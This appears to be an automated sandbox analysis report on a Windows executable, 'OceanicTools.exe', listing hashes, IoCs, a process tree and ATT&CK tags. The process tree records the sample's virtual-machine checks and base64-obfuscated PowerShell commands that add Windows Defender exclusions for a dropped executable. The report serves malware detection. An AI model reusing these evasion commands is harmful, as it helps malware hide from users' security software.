ae04f1bc929f6f83a4010f59fcc1f78caea5d198ae3779c7e058608effcc56af

Analysis

max time kernel
119s
max time network
122s
platform
windows7_x64
resource
win7-20241010-en
resource tags

arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
submitted
12-10-2024 23:33

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General

Target

OceanicTools.exe
Size

22.2MB
MD5

f975ef6b34160bff3ba3c8c815f9e77c
SHA1

4b818a41b68f8ed6f6719db14e19f955a60aebe8
SHA256

ae04f1bc929f6f83a4010f59fcc1f78caea5d198ae3779c7e058608effcc56af
SHA512

ba08c564b363affea6c39394955feb327a6c15cde9a5b83806088fcfdb4b4464deb24dcbca0e2cb5f26ae9172d7c8fb94ed58e0a534bf21deb4957363f67a222
SSDEEP

98304:XHE3AU4FiZ0ZXawT/2MMlOLG9ffkTj8cywcAk:U3u0Z0EdM1LGdUjKA

Score

8^/10

execution

Malware Config

Signatures

Downloads MZ/PE file

Executes dropped EXE 1 IoCs

pid	Process
828	eiqqakjnkzszwuon.exe

Loads dropped DLL 6 IoCs

pid	Process
2172	OceanicTools.exe
2172	OceanicTools.exe
3020	WerFault.exe
3020	WerFault.exe
3020	WerFault.exe
3020	WerFault.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2680	powershell.exe
312	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2680	powershell.exe
312	powershell.exe

Suspicious use of AdjustPrivilegeToken 42 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	2836	wmic.exe
Token: SeSecurityPrivilege	2836	wmic.exe
Token: SeTakeOwnershipPrivilege	2836	wmic.exe
Token: SeLoadDriverPrivilege	2836	wmic.exe
Token: SeSystemProfilePrivilege	2836	wmic.exe
Token: SeSystemtimePrivilege	2836	wmic.exe
Token: SeProfSingleProcessPrivilege	2836	wmic.exe
Token: SeIncBasePriorityPrivilege	2836	wmic.exe
Token: SeCreatePagefilePrivilege	2836	wmic.exe
Token: SeBackupPrivilege	2836	wmic.exe
Token: SeRestorePrivilege	2836	wmic.exe
Token: SeShutdownPrivilege	2836	wmic.exe
Token: SeDebugPrivilege	2836	wmic.exe
Token: SeSystemEnvironmentPrivilege	2836	wmic.exe
Token: SeRemoteShutdownPrivilege	2836	wmic.exe
Token: SeUndockPrivilege	2836	wmic.exe
Token: SeManageVolumePrivilege	2836	wmic.exe
Token: 33	2836	wmic.exe
Token: 34	2836	wmic.exe
Token: 35	2836	wmic.exe
Token: SeIncreaseQuotaPrivilege	2836	wmic.exe
Token: SeSecurityPrivilege	2836	wmic.exe
Token: SeTakeOwnershipPrivilege	2836	wmic.exe
Token: SeLoadDriverPrivilege	2836	wmic.exe
Token: SeSystemProfilePrivilege	2836	wmic.exe
Token: SeSystemtimePrivilege	2836	wmic.exe
Token: SeProfSingleProcessPrivilege	2836	wmic.exe
Token: SeIncBasePriorityPrivilege	2836	wmic.exe
Token: SeCreatePagefilePrivilege	2836	wmic.exe
Token: SeBackupPrivilege	2836	wmic.exe
Token: SeRestorePrivilege	2836	wmic.exe
Token: SeShutdownPrivilege	2836	wmic.exe
Token: SeDebugPrivilege	2836	wmic.exe
Token: SeSystemEnvironmentPrivilege	2836	wmic.exe
Token: SeRemoteShutdownPrivilege	2836	wmic.exe
Token: SeUndockPrivilege	2836	wmic.exe
Token: SeManageVolumePrivilege	2836	wmic.exe
Token: 33	2836	wmic.exe
Token: 34	2836	wmic.exe
Token: 35	2836	wmic.exe
Token: SeDebugPrivilege	2680	powershell.exe
Token: SeDebugPrivilege	312	powershell.exe

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 2172 wrote to memory of 2156	2172	OceanicTools.exe	31
PID 2172 wrote to memory of 2156	2172	OceanicTools.exe	31
PID 2172 wrote to memory of 2156	2172	OceanicTools.exe	31
PID 2172 wrote to memory of 2836	2172	OceanicTools.exe	32
PID 2172 wrote to memory of 2836	2172	OceanicTools.exe	32
PID 2172 wrote to memory of 2836	2172	OceanicTools.exe	32
PID 2172 wrote to memory of 2680	2172	OceanicTools.exe	34
PID 2172 wrote to memory of 2680	2172	OceanicTools.exe	34
PID 2172 wrote to memory of 2680	2172	OceanicTools.exe	34
PID 2172 wrote to memory of 312	2172	OceanicTools.exe	36
PID 2172 wrote to memory of 312	2172	OceanicTools.exe	36
PID 2172 wrote to memory of 312	2172	OceanicTools.exe	36
PID 2172 wrote to memory of 828	2172	OceanicTools.exe	38
PID 2172 wrote to memory of 828	2172	OceanicTools.exe	38
PID 2172 wrote to memory of 828	2172	OceanicTools.exe	38
PID 828 wrote to memory of 3020	828	eiqqakjnkzszwuon.exe	39
PID 828 wrote to memory of 3020	828	eiqqakjnkzszwuon.exe	39
PID 828 wrote to memory of 3020	828	eiqqakjnkzszwuon.exe	39

C:\Users\Admin\AppData\Local\Temp\OceanicTools.exe
"C:\Users\Admin\AppData\Local\Temp\OceanicTools.exe"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2172
- C:\Windows\system32\reg.exe
  "reg" "query" "SYSTEM\CurrentControlSet\Services\Disk\Enum"
  2⤵
  PID:2156
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" "computersystem" "get" "manufacturer"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2836
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" "-Command" "$cmd = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('QWRkLU1wUHJlZmVyZW5jZSAtRXhjbHVzaW9uUGF0aCAiQzpcVXNlcnNcQWRtaW5cYmZsZHlwZ3B2dGVyYWpqbiI=')); Invoke-Expression $cmd"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2680
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" "-Command" "$cmd = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('QWRkLU1wUHJlZmVyZW5jZSAtRXhjbHVzaW9uUGF0aCAiQzpcVXNlcnNcQWRtaW5cYmZsZHlwZ3B2dGVyYWpqblxlaXFxYWtqbmt6c3p3dW9uLmV4ZSI=')); Invoke-Expression $cmd"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:312
- C:\Users\Admin\bfldypgpvterajjn\eiqqakjnkzszwuon.exe
  "C:\Users\Admin\bfldypgpvterajjn\eiqqakjnkzszwuon.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:828
- - C:\Windows\system32\WerFault.exe
    C:\Windows\system32\WerFault.exe -u -p 828 -s 28
    3⤵
    - Loads dropped DLL
    PID:3020

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
84cb554ef72120efdb8ad8c78d3596ef

SHA1
0107aeaba0d7f68715ace00cb47c2d0cd1ef1be6

SHA256
193496c07ea7be4d2bb43a1dcc1536f7d8176112270ed54c4b5c3157eeb7574b

SHA512
5e5583cb3b32745bd8b3e9d2466c3583a147b4c437b6f255cb2c0cf9602887b3a4dec1df6c0b22dfcafb779302e735b28037e5bca61c16bd880b9ac9b5c42ce1

Download Submit
\Users\Admin\bfldypgpvterajjn\eiqqakjnkzszwuon.exe

Filesize
2.6MB

MD5
0c01cfc0685211b3c655c7a9526f1849

SHA1
864d23804b6e3c98efd1b56863a484b505ddf40b

SHA256
8d6ee227c57e825bc978db47c7587d46e7df06e3656d493486ee26b1426c98a6

SHA512
6024a41f371d77a82608c0e8ff314853404a50decb77838ace61c43a72ef954f4a227849b85e2aa3ef0749120e8361f13145006652596fb22b2f972bf7585719

Download Submit
memory/312-12-0x000000001B780000-0x000000001BA62000-memory.dmp

Filesize
2.9MB

Download
memory/312-13-0x0000000002290000-0x0000000002298000-memory.dmp

Filesize
32KB

Download
memory/828-23-0x000000013F3A0000-0x000000013F646000-memory.dmp

Filesize
2.6MB

Download
memory/2680-4-0x000000001B720000-0x000000001BA02000-memory.dmp

Filesize
2.9MB

Download
memory/2680-5-0x0000000001F00000-0x0000000001F08000-memory.dmp

Filesize
32KB

Download